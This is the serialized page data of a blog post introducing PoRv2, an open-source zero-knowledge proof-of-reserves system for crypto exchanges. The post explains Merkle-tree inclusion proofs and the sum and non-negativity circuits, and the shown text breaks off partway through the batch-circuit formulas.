[{"data":1,"prerenderedAt":167319},["ShallowReactive",2],{"blog-/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds":3,"featured-blog-posts":4898},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":12,"isFeatured":15,"onBlogPage":15,"tags":16,"body":19,"_type":4892,"_id":4893,"_source":4894,"_file":4895,"_stem":4896,"_extension":4897},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","blog",false,"","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27","caue",{"src":13,"width":14,"height":14},"/posts/por/title.png",1024,true,[17,18],"zk","por",{"type":20,"children":21,"toc":4867},"root",[22,31,45,57,62,96,110,116,128,133,138,179,184,190,195,204,209,235,240,246,266,280,288,293,298,306,319,326,409,415,420,433,438,445,470,478,483,489,494,989,1002,1008,1013,1021,1040,1048,1061,1069,2748,2753,2760,2766,2771,2778,2794,2801,2809,2816,4331,4336,4343,4349,4355,4384,4389,4408,4414,4422,4441,4491,4499,4518,4540,4546,4559,4564,4571,4576,4639,4644,4651,4671,4677,4682,4688,4693,4737,4742,4751,4757,4762,4804,4809,4817,4822,4830,4836,4841,4854],{"type":23,"tag":24,"props":25,"children":27},"element","h2",{"id":26},"what-is-a-proof-of-reserves",[28],{"type":29,"value":30},"text","What is a Proof of Reserves?",{"type":23,"tag":32,"props":33,"children":34},"p",{},[35,37,43],{"type":29,"value":36},"At its heart, ",{"type":23,"tag":38,"props":39,"children":40},"strong",{},[41],{"type":29,"value":42},"Proof of Reserves (PoR)",{"type":29,"value":44}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":32,"props":46,"children":47},{},[48,50,55],{"type":29,"value":49},"Think of it this way: ",{"type":23,"tag":38,"props":51,"children":52},{},[53],{"type":29,"value":54},"PoR",{"type":29,"value":56}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":32,"props":58,"children":59},{},[60],{"type":29,"value":61},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":32,"props":63,"children":64},{},[65,67,76,78,85,87,94],{"type":29,"value":66},"We from OtterSec, in partnership with ",{"type":23,"tag":68,"props":69,"children":73},"a",{"href":70,"rel":71},"https://backpack.exchange/",[72],"nofollow",[74],{"type":29,"value":75},"Backpack",{"type":29,"value":77},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":68,"props":79,"children":82},{"href":80,"rel":81},"https://github.com/otter-sec/por_v2",[72],[83],{"type":29,"value":84},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":86}," was based on ",{"type":23,"tag":68,"props":88,"children":91},{"href":89,"rel":90},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[72],[92],{"type":29,"value":93},"OKX Proof of Reserves algorithm",{"type":29,"value":95}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":32,"props":97,"children":98},{},[99,101,108],{"type":29,"value":100},"In addition, we also created and open-sourced a ",{"type":23,"tag":68,"props":102,"children":105},{"href":103,"rel":104},"https://github.com/otter-sec/por_verifier_server",[72],[106],{"type":29,"value":107},"PoR verifier server",{"type":29,"value":109}," that receives the proofs and validates them.",{"type":23,"tag":24,"props":111,"children":113},{"id":112},"why-do-we-use-zk-for-por",[114],{"type":29,"value":115},"Why do we use ZK for PoR?",{"type":23,"tag":32,"props":117,"children":118},{},[119,121,126],{"type":29,"value":120},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":38,"props":122,"children":123},{},[124],{"type":29,"value":125},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":127}," become game-changers.",{"type":23,"tag":32,"props":129,"children":130},{},[131],{"type":29,"value":132},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":32,"props":134,"children":135},{},[136],{"type":29,"value":137},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":139,"props":140,"children":141},"ol",{},[142,162],{"type":23,"tag":143,"props":144,"children":145},"li",{},[146,151,153,160],{"type":23,"tag":38,"props":147,"children":148},{},[149],{"type":29,"value":150},"Sum proof",{"type":29,"value":152},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":154,"props":155,"children":157},"code",{"className":156},[],[158],{"type":29,"value":159},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":161},").",{"type":23,"tag":143,"props":163,"children":164},{},[165,170,172,177],{"type":23,"tag":38,"props":166,"children":167},{},[168],{"type":29,"value":169},"Non-negativity",{"type":29,"value":171},": All users have a ",{"type":23,"tag":38,"props":173,"children":174},{},[175],{"type":29,"value":176},"positive",{"type":29,"value":178}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":32,"props":180,"children":181},{},[182],{"type":29,"value":183},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":24,"props":185,"children":187},{"id":186},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[188],{"type":29,"value":189},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":32,"props":191,"children":192},{},[193],{"type":29,"value":194},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":32,"props":196,"children":197},{},[198],{"type":23,"tag":199,"props":200,"children":203},"img",{"alt":201,"src":202},"image","/posts/por/merkle-tree.png",[],{"type":23,"tag":32,"props":205,"children":206},{},[207],{"type":29,"value":208},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":139,"props":210,"children":211},{},[212,225,230],{"type":23,"tag":143,"props":213,"children":214},{},[215,217,223],{"type":29,"value":216},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":154,"props":218,"children":220},{"className":219},[],[221],{"type":29,"value":222},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":224},");",{"type":23,"tag":143,"props":226,"children":227},{},[228],{"type":29,"value":229},"The Merkle tree is made public;",{"type":23,"tag":143,"props":231,"children":232},{},[233],{"type":29,"value":234},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":32,"props":236,"children":237},{},[238],{"type":29,"value":239},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":24,"props":241,"children":243},{"id":242},"ottersec-porv2",[244],{"type":29,"value":245},"OtterSec PoRv2",{"type":23,"tag":32,"props":247,"children":248},{},[249,255,257,264],{"type":23,"tag":68,"props":250,"children":252},{"href":80,"rel":251},[72],[253],{"type":29,"value":254},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":256},", which uses the ",{"type":23,"tag":68,"props":258,"children":261},{"href":259,"rel":260},"https://github.com/0xPolygonZero/plonky2",[72],[262],{"type":29,"value":263},"plonky2 ZK algorithm",{"type":29,"value":265}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":32,"props":267,"children":268},{},[269,271,278],{"type":29,"value":270},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":68,"props":272,"children":275},{"href":273,"rel":274},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[72],[276],{"type":29,"value":277},"Vitalik's proof of solvency",{"type":29,"value":279},", which was not optimal.",{"type":23,"tag":32,"props":281,"children":282},{},[283],{"type":23,"tag":38,"props":284,"children":285},{},[286],{"type":29,"value":287},"Non-negativity Proof",{"type":23,"tag":32,"props":289,"children":290},{},[291],{"type":29,"value":292},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":32,"props":294,"children":295},{},[296],{"type":29,"value":297},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":32,"props":299,"children":300},{},[301],{"type":23,"tag":38,"props":302,"children":303},{},[304],{"type":29,"value":305},"Sum Proof",{"type":23,"tag":32,"props":307,"children":308},{},[309,311,317],{"type":29,"value":310},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":154,"props":312,"children":314},{"className":313},[],[315],{"type":29,"value":316},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":318},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":320,"props":321,"children":323},"h3",{"id":322},"what-are-the-ottersec-porv2-key-points",[324],{"type":29,"value":325},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":139,"props":327,"children":328},{},[329,339,358,368,399],{"type":23,"tag":143,"props":330,"children":331},{},[332,337],{"type":23,"tag":38,"props":333,"children":334},{},[335],{"type":29,"value":336},"Transparency",{"type":29,"value":338},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":143,"props":340,"children":341},{},[342,347,349,356],{"type":23,"tag":38,"props":343,"children":344},{},[345],{"type":29,"value":346},"Time-efficiency",{"type":29,"value":348},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":68,"props":350,"children":353},{"href":351,"rel":352},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[72],[354],{"type":29,"value":355},"Check our benchmark",{"type":29,"value":357},".",{"type":23,"tag":143,"props":359,"children":360},{},[361,366],{"type":23,"tag":38,"props":362,"children":363},{},[364],{"type":29,"value":365},"Memory-efficiency",{"type":29,"value":367},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":143,"props":369,"children":370},{},[371,376,378,383,385,390,392,397],{"type":23,"tag":38,"props":372,"children":373},{},[374],{"type":29,"value":375},"Small-proofs",{"type":29,"value":377},": We were able to reduce the final proof to less than ",{"type":23,"tag":38,"props":379,"children":380},{},[381],{"type":29,"value":382},"500KB",{"type":29,"value":384}," and each inclusion proof to ",{"type":23,"tag":38,"props":386,"children":387},{},[388],{"type":29,"value":389},"~52KB",{"type":29,"value":391},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":38,"props":393,"children":394},{},[395],{"type":29,"value":396},"200MB",{"type":29,"value":398}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":143,"props":400,"children":401},{},[402,407],{"type":23,"tag":38,"props":403,"children":404},{},[405],{"type":29,"value":406},"Privacy",{"type":29,"value":408},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":24,"props":410,"children":412},{"id":411},"zk-circuits",[413],{"type":29,"value":414},"ZK Circuits",{"type":23,"tag":32,"props":416,"children":417},{},[418],{"type":29,"value":419},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":139,"props":421,"children":422},{},[423,428],{"type":23,"tag":143,"props":424,"children":425},{},[426],{"type":29,"value":427},"Batch circuit",{"type":23,"tag":143,"props":429,"children":430},{},[431],{"type":29,"value":432},"Recursive circuit",{"type":23,"tag":32,"props":434,"children":435},{},[436],{"type":29,"value":437},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":32,"props":439,"children":440},{},[441],{"type":23,"tag":199,"props":442,"children":444},{"alt":201,"src":443},"/posts/por/batch-circuit.png",[],{"type":23,"tag":446,"props":447,"children":448},"blockquote",{},[449],{"type":23,"tag":32,"props":450,"children":451},{},[452,454,460,462,468],{"type":29,"value":453},"Note: We are using 512 as ",{"type":23,"tag":154,"props":455,"children":457},{"className":456},[],[458],{"type":29,"value":459},"BATCH_SIZE",{"type":29,"value":461}," and 8 as ",{"type":23,"tag":154,"props":463,"children":465},{"className":464},[],[466],{"type":29,"value":467},"RECURSIVE_SIZE",{"type":29,"value":469}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":446,"props":471,"children":472},{},[473],{"type":23,"tag":32,"props":474,"children":475},{},[476],{"type":29,"value":477},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":32,"props":479,"children":480},{},[481],{"type":29,"value":482},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":320,"props":484,"children":486},{"id":485},"leaf-nodes",[487],{"type":29,"value":488},"Leaf Nodes",{"type":23,"tag":32,"props":490,"children":491},{},[492],{"type":29,"value":493},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":23,"tag":32,"props":495,"children":496},{},[497],{"type":23,"tag":154,"props":498,"children":502},{"className":499},[500,501],"language-math","math-inline",[503],{"type":23,"tag":504,"props":505,"children":508},"span",{"className":506},[507],"katex",[509],{"type":23,"tag":504,"props":510,"children":514},{"className":511,"ariaHidden":513},[512],"katex-html","true",[515,551],{"type":23,"tag":504,"props":516,"children":519},{"className":517},[518],"base",[520,526,534,540,547],{"type":23,"tag":504,"props":521,"children":525},{"className":522,"style":524},[523],"strut","height:0.6944em;",[],{"type":23,"tag":504,"props":527,"children":531},{"className":528},[529,530],"mord","mathnormal",[532],{"type":29,"value":533},"h",{"type":23,"tag":504,"props":535,"children":539},{"className":536,"style":538},[537],"mspace","margin-right:0.2778em;",[],{"type":23,"tag":504,"props":541,"children":544},{"className":542},[543],"mrel",[545],{"type":29,"value":546},"=",{"type":23,"tag":504,"props":548,"children":550},{"className":549,"style":538},[537],[],{"type":23,"tag":504,"props":552,"children":554},{"className":553},[518],[555,560,567,573,579,585,591,597,604,609,615,621,628,634,641,647,653,728,734,740,745,750,755,760,765,770,775,780,785,843,848,854,859,864,869,876,883,889,895,900,906,912,917,922,927,934,939,944,949,954,959,964,969,974,979,984],{"type":23,"tag":504,"props":556,"children":559},{"className":557,"style":558},[523],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":504,"props":561,"children":564},{"className":562,"style":563},[529,530],"margin-right:0.13889em;",[565],{"type":29,"value":566},"P",{"type":23,"tag":504,"props":568,"children":570},{"className":569},[529,530],[571],{"type":29,"value":572},"ose",{"type":23,"tag":504,"props":574,"children":576},{"className":575},[529,530],[577],{"type":29,"value":578},"i",{"type":23,"tag":504,"props":580,"children":582},{"className":581},[529,530],[583],{"type":29,"value":584},"d",{"type":23,"tag":504,"props":586,"children":588},{"className":587},[529,530],[589],{"type":29,"value":590},"o",{"type":23,"tag":504,"props":592,"children":594},{"className":593},[529,530],[595],{"type":29,"value":596},"n",{"type":23,"tag":504,"props":598,"children":601},{"className":599},[600],"mopen",[602],{"type":29,"value":603},"(",{"type":23,"tag":504,"props":605,"children":607},{"className":606},[529,530],[608],{"type":29,"value":68},{"type":23,"tag":504,"props":610,"children":612},{"className":611},[529,530],[613],{"type":29,"value":614},"sse",{"type":23,"tag":504,"props":616,"children":618},{"className":617},[529,530],[619],{"type":29,"value":620},"t",{"type":23,"tag":504,"props":622,"children":625},{"className":623,"style":624},[529],"margin-right:0.02778em;",[626],{"type":29,"value":627},"_",{"type":23,"tag":504,"props":629,"children":631},{"className":630},[529,530],[632],{"type":29,"value":633},"ba",{"type":23,"tag":504,"props":635,"children":638},{"className":636,"style":637},[529,530],"margin-right:0.01968em;",[639],{"type":29,"value":640},"l",{"type":23,"tag":504,"props":642,"children":644},{"className":643},[529,530],[645],{"type":29,"value":646},"an",{"type":23,"tag":504,"props":648,"children":650},{"className":649},[529,530],[651],{"type":29,"value":652},"ce",{"type":23,"tag":504,"props":654,"children":656},{"className":655},[529],[657,663],{"type":23,"tag":504,"props":658,"children":660},{"className":659},[529,530],[661],{"type":29,"value":662},"s",{"type":23,"tag":504,"props":664,"children":667},{"className":665},[666],"msupsub",[668],{"type":23,"tag":504,"props":669,"children":673},{"className":670},[671,672],"vlist-t","vlist-t2",[674,716],{"type":23,"tag":504,"props":675,"children":678},{"className":676},[677],"vlist-r",[679,709],{"type":23,"tag":504,"props":680,"children":684},{"className":681,"style":683},[682],"vlist","height:0.3011em;",[685],{"type":23,"tag":504,"props":686,"children":688},{"style":687},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[689,695],{"type":23,"tag":504,"props":690,"children":694},{"className":691,"style":693},[692],"pstrut","height:2.7em;",[],{"type":23,"tag":504,"props":696,"children":702},{"className":697},[698,699,700,701],"sizing","reset-size6","size3","mtight",[703],{"type":23,"tag":504,"props":704,"children":706},{"className":705},[529,701],[707],{"type":29,"value":708},"0",{"type":23,"tag":504,"props":710,"children":713},{"className":711},[712],"vlist-s",[714],{"type":29,"value":715},"​",{"type":23,"tag":504,"props":717,"children":719},{"className":718},[677],[720],{"type":23,"tag":504,"props":721,"children":724},{"className":722,"style":723},[682],"height:0.15em;",[725],{"type":23,"tag":504,"props":726,"children":727},{},[],{"type":23,"tag":504,"props":729,"children":731},{"className":730},[537],[732],{"type":29,"value":733}," ",{"type":23,"tag":504,"props":735,"children":737},{"className":736},[529],[738],{"type":29,"value":739},"∣∣",{"type":23,"tag":504,"props":741,"children":743},{"className":742},[537],[744],{"type":29,"value":733},{"type":23,"tag":504,"props":746,"children":748},{"className":747},[529,530],[749],{"type":29,"value":68},{"type":23,"tag":504,"props":751,"children":753},{"className":752},[529,530],[754],{"type":29,"value":614},{"type":23,"tag":504,"props":756,"children":758},{"className":757},[529,530],[759],{"type":29,"value":620},{"type":23,"tag":504,"props":761,"children":763},{"className":762,"style":624},[529],[764],{"type":29,"value":627},{"type":23,"tag":504,"props":766,"children":768},{"className":767},[529,530],[769],{"type":29,"value":633},{"type":23,"tag":504,"props":771,"children":773},{"className":772,"style":637},[529,530],[774],{"type":29,"value":640},{"type":23,"tag":504,"props":776,"children":778},{"className":777},[529,530],[779],{"type":29,"value":646},{"type":23,"tag":504,"props":781,"children":783},{"className":782},[529,530],[784],{"type":29,"value":652},{"type":23,"tag":504,"props":786,"children":788},{"className":787},[529],[789,794],{"type":23,"tag":504,"props":790,"children":792},{"className":791},[529,530],[793],{"type":29,"value":662},{"type":23,"tag":504,"props":795,"children":797},{"className":796},[666],[798],{"type":23,"tag":504,"props":799,"children":801},{"className":800},[671,672],[802,832],{"type":23,"tag":504,"props":803,"children":805},{"className":804},[677],[806,827],{"type":23,"tag":504,"props":807,"children":809},{"className":808,"style":683},[682],[810],{"type":23,"tag":504,"props":811,"children":812},{"style":687},[813,817],{"type":23,"tag":504,"props":814,"children":816},{"className":815,"style":693},[692],[],{"type":23,"tag":504,"props":818,"children":820},{"className":819},[698,699,700,701],[821],{"type":23,"tag":504,"props":822,"children":824},{"className":823},[529,701],[825],{"type":29,"value":826},"1",{"type":23,"tag":504,"props":828,"children":830},{"className":829},[712],[831],{"type":29,"value":715},{"type":23,"tag":504,"props":833,"children":835},{"className":834},[677],[836],{"type":23,"tag":504,"props":837,"children":839},{"className":838,"style":723},[682],[840],{"type":23,"tag":504,"props":841,"children":842},{},[],{"type":23,"tag":504,"props":844,"children":846},{"className":845},[537],[847],{"type":29,"value":733},{"type":23,"tag":504,"props":849,"children":851},{"className":850},[529],[852],{"type":29,"value":853},"...",{"type":23,"tag":504,"props":855,"children":857},{"className":856},[537],[858],{"type":29,"value":733},{"type":23,"tag":504,"props":860,"children":862},{"className":861},[529],[863],{"type":29,"value":739},{"type":23,"tag":504,"props":865,"children":867},{"className":866},[537],[868],{"type":29,"value":733},{"type":23,"tag":504,"props":870,"children":873},{"className":871,"style":872},[529,530],"margin-right:0.05764em;",[874],{"type":29,"value":875},"S",{"type":23,"tag":504,"props":877,"children":880},{"className":878,"style":879},[529,530],"margin-right:0.08125em;",[881],{"type":29,"value":882},"H",{"type":23,"tag":504,"props":884,"children":886},{"className":885},[529,530],[887],{"type":29,"value":888},"A",{"type":23,"tag":504,"props":890,"children":892},{"className":891},[529],[893],{"type":29,"value":894},"256",{"type":23,"tag":504,"props":896,"children":898},{"className":897},[600],[899],{"type":29,"value":603},{"type":23,"tag":504,"props":901,"children":903},{"className":902},[529,530],[904],{"type":29,"value":905},"u",{"type":23,"tag":504,"props":907,"children":909},{"className":908,"style":624},[529,530],[910],{"type":29,"value":911},"ser",{"type":23,"tag":504,"props":913,"children":915},{"className":914,"style":624},[529],[916],{"type":29,"value":627},{"type":23,"tag":504,"props":918,"children":920},{"className":919},[529,530],[921],{"type":29,"value":578},{"type":23,"tag":504,"props":923,"children":925},{"className":924},[529,530],[926],{"type":29,"value":584},{"type":23,"tag":504,"props":928,"children":931},{"className":929},[930],"mclose",[932],{"type":29,"value":933},")",{"type":23,"tag":504,"props":935,"children":937},{"className":936},[537],[938],{"type":29,"value":733},{"type":23,"tag":504,"props":940,"children":942},{"className":941},[529],[943],{"type":29,"value":739},{"type":23,"tag":504,"props":945,"children":947},{"className":946},[537],[948],{"type":29,"value":733},{"type":23,"tag":504,"props":950,"children":952},{"className":951},[529,530],[953],{"type":29,"value":905},{"type":23,"tag":504,"props":955,"children":957},{"className":956,"style":624},[529,530],[958],{"type":29,"value":911},{"type":23,"tag":504,"props":960,"children":962},{"className":961,"style":624},[529],[963],{"type":29,"value":627},{"type":23,"tag":504,"props":965,"children":967},{"className":966},[529,530],[968],{"type":29,"value":596},{"type":23,"tag":504,"props":970,"children":972},{"className":971},[529,530],[973],{"type":29,"value":590},{"type":23,"tag":504,"props":975,"children":977},{"className":976},[529,530],[978],{"type":29,"value":596},{"type":23,"tag":504,"props":980,"children":982},{"className":981},[529,530],[983],{"type":29,"value":652},{"type":23,"tag":504,"props":985,"children":987},{"className":986},[930],[988],{"type":29,"value":933},{"type":23,"tag":32,"props":990,"children":991},{},[992,994,1000],{"type":29,"value":993},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":154,"props":995,"children":997},{"className":996},[],[998],{"type":29,"value":999},"uuid",{"type":29,"value":1001},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":320,"props":1003,"children":1005},{"id":1004},"batch-circuit",[1006],{"type":29,"value":1007},"Batch Circuit",{"type":23,"tag":32,"props":1009,"children":1010},{},[1011],{"type":29,"value":1012},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":32,"props":1014,"children":1015},{},[1016],{"type":23,"tag":38,"props":1017,"children":1018},{},[1019],{"type":29,"value":1020},"Public Inputs",{"type":23,"tag":1022,"props":1023,"children":1024},"ul",{},[1025,1030,1035],{"type":23,"tag":143,"props":1026,"children":1027},{},[1028],{"type":29,"value":1029},"Asset prices in USD",{"type":23,"tag":143,"props":1031,"children":1032},{},[1033],{"type":29,"value":1034},"Merkle tree hash",{"type":23,"tag":143,"props":1036,"children":1037},{},[1038],{"type":29,"value":1039},"Summed asset balances",{"type":23,"tag":32,"props":1041,"children":1042},{},[1043],{"type":23,"tag":38,"props":1044,"children":1045},{},[1046],{"type":29,"value":1047},"Private Inputs",{"type":23,"tag":1022,"props":1049,"children":1050},{},[1051,1056],{"type":23,"tag":143,"props":1052,"children":1053},{},[1054],{"type":29,"value":1055},"Users balances",{"type":23,"tag":143,"props":1057,"children":1058},{},[1059],{"type":29,"value":1060},"Merkle tree leaves hashes",{"type":23,"tag":32,"props":1062,"children":1063},{},[1064],{"type":23,"tag":38,"props":1065,"children":1066},{},[1067],{"type":29,"value":1068},"Constraints",{"type":23,"tag":1022,"props":1070,"children":1071},{},[1072,1534,1704,2051,2454],{"type":23,"tag":143,"props":1073,"children":1074},{},[1075],{"type":23,"tag":154,"props":1076,"children":1078},{"className":1077},[500,501],[1079],{"type":23,"tag":504,"props":1080,"children":1082},{"className":1081},[507],[1083],{"type":23,"tag":504,"props":1084,"children":1086},{"className":1085,"ariaHidden":513},[512],[1087,1229,1439],{"type":23,"tag":504,"props":1088,"children":1090},{"className":1089},[518],[1091,1096,1101,1107,1112,1117,1122,1127,1133,1140,1145,1150,1155,1215,1219,1225],{"type":23,"tag":504,"props":1092,"children":1095},{"className":1093,"style":1094},[523],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":504,"props":1097,"children":1099},{"className":1098},[529,530],[1100],{"type":29,"value":68},{"type":23,"tag":504,"props":1102,"children":1104},{"className":1103},[529,530],[1105],{"type":29,"value":1106},"cco",{"type":23,"tag":504,"props":1108,"children":1110},{"className":1109},[529,530],[1111],{"type":29,"value":905},{"type":23,"tag":504,"props":1113,"children":1115},{"className":1114},[529,530],[1116],{"type":29,"value":596},{"type":23,"tag":504,"props":1118,"children":1120},{"className":1119},[529,530],[1121],{"type":29,"value":620},{"type":23,"tag":504,"props":1123,"children":1125},{"className":1124,"style":624},[529],[1126],{"type":29,"value":627},{"type":23,"tag":504,"props":1128,"children":1130},{"className":1129},[529,530],[1131],{"type":29,"value":1132},"e",{"type":23,"tag":504,"props":1134,"children":1137},{"className":1135,"style":1136},[529,530],"margin-right:0.03588em;",[1138],{"type":29,"value":1139},"q",{"type":23,"tag":504,"props":1141,"children":1143},{"className":1142},[529,530],[1144],{"type":29,"value":905},{"type":23,"tag":504,"props":1146,"children":1148},{"className":1147},[529,530],[1149],{"type":29,"value":578},{"type":23,"tag":504,"props":1151,"children":1153},{"className":1152},[529,530],[1154],{"type":29,"value":620},{"type":23,"tag":504,"props":1156,"children":1158},{"className":1157},[529],[1159,1165],{"type":23,"tag":504,"props":1160,"children":1162},{"className":1161,"style":1136},[529,530],[1163],{"type":29,"value":1164},"y",{"type":23,"tag":504,"props":1166,"children":1168},{"className":1167},[666],[1169],{"type":23,"tag":504,"props":1170,"children":1172},{"className":1171},[671,672],[1173,1204],{"type":23,"tag":504,"props":1174,"children":1176},{"className":1175},[677],[1177,1199],{"type":23,"tag":504,"props":1178,"children":1181},{"className":1179,"style":1180},[682],"height:0.3117em;",[1182],{"type":23,"tag":504,"props":1183,"children":1185},{"style":1184},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[1186,1190],{"type":23,"tag":504,"props":1187,"children":1189},{"className":1188,"style":693},[692],[],{"type":23,"tag":504,"props":1191,"children":1193},{"className":1192},[698,699,700,701],[1194],{"type":23,"tag":504,"props":1195,"children":1197},{"className":1196},[529,530,701],[1198],{"type":29,"value":578},{"type":23,"tag":504,"props":1200,"children":1202},{"className":1201},[712],[1203],{"type":29,"value":715},{"type":23,"tag":504,"props":1205,"children":1207},{"className":1206},[677],[1208],{"type":23,"tag":504,"props":1209,"children":1211},{"className":1210,"style":723},[682],[1212],{"type":23,"tag":504,"props":1213,"children":1214},{},[],{"type":23,"tag":504,"props":1216,"children":1218},{"className":1217,"style":538},[537],[],{"type":23,"tag":504,"props":1220,"children":1222},{"className":1221},[543],[1223],{"type":29,"value":1224},"==",{"type":23,"tag":504,"props":1226,"children":1228},{"className":1227,"style":538},[537],[],{"type":23,"tag":504,"props":1230,"children":1232},{"className":1231},[518],[1233,1237,1243,1248,1253,1258,1263,1268,1273,1278,1283,1288,1293,1298,1303,1308,1313,1318,1375,1381,1386,1391,1396,1401,1406,1411,1417,1423,1428,1435],{"type":23,"tag":504,"props":1234,"children":1236},{"className":1235,"style":558},[523],[],{"type":23,"tag":504,"props":1238,"children":1240},{"className":1239},[529],[1241],{"type":29,"value":1242},"Σ",{"type":23,"tag":504,"props":1244,"children":1246},{"className":1245},[537],[1247],{"type":29,"value":733},{"type":23,"tag":504,"props":1249,"children":1251},{"className":1250},[529,530],[1252],{"type":29,"value":68},{"type":23,"tag":504,"props":1254,"children":1256},{"className":1255},[529,530],[1257],{"type":29,"value":1106},{"type":23,"tag":504,"props":1259,"children":1261},{"className":1260},[529,530],[1262],{"type":29,"value":905},{"type":23,"tag":504,"props":1264,"children":1266},{"className":1265},[529,530],[1267],{"type":29,"value":596},{"type":23,"tag":504,"props":1269,"children":1271},{"className":1270},[529,530],[1272],{"type":29,"value":620},{"type":23,"tag":504,"props":1274,"children":1276},{"className":1275,"style":624},[529],[1277],{"type":29,"value":627},{"type":23,"tag":504,"props":1279,"children":1281},{"className":1280},[529,530],[1282],{"type":29,"value":68},{"type":23,"tag":504,"props":1284,"children":1286},{"className":1285},[529,530],[1287],{"type":29,"value":614},{"type":23,"tag":504,"props":1289,"children":1291},{"className":1290},[529,530],[1292],{"type":29,"value":6